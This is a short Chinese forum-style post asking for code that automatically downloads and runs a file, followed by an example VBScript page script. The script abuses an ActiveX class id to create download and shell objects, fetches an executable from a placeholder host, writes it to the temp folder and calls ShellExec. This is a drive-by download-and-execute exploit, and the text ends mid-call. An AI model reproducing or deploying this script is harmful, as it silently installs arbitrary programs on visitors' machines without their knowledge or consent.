求ASP自动下载并执行文件的代码

举个例子:
<script language="VBScript">
on error resume next
dl = "http://xxx/a.exe"
set ye=document.createElement("object")
yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
ye.setAttribute "classid",yStr
Set x = ye.CreateObject("Microsoft.XMLHTTP","")
set S = ye.createobject("ADODB.Stream","")
S.type = 1
x.Open "GET", dl, False
x.Send
fname="xx.exe"
set F = ye.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname= F.BuildPath(tmp,fname)
S.open
S.write x.responseBody
S.savetofile fname,2
S.close
set A=ye.createobject("Shell.Application","")
A.ShellExec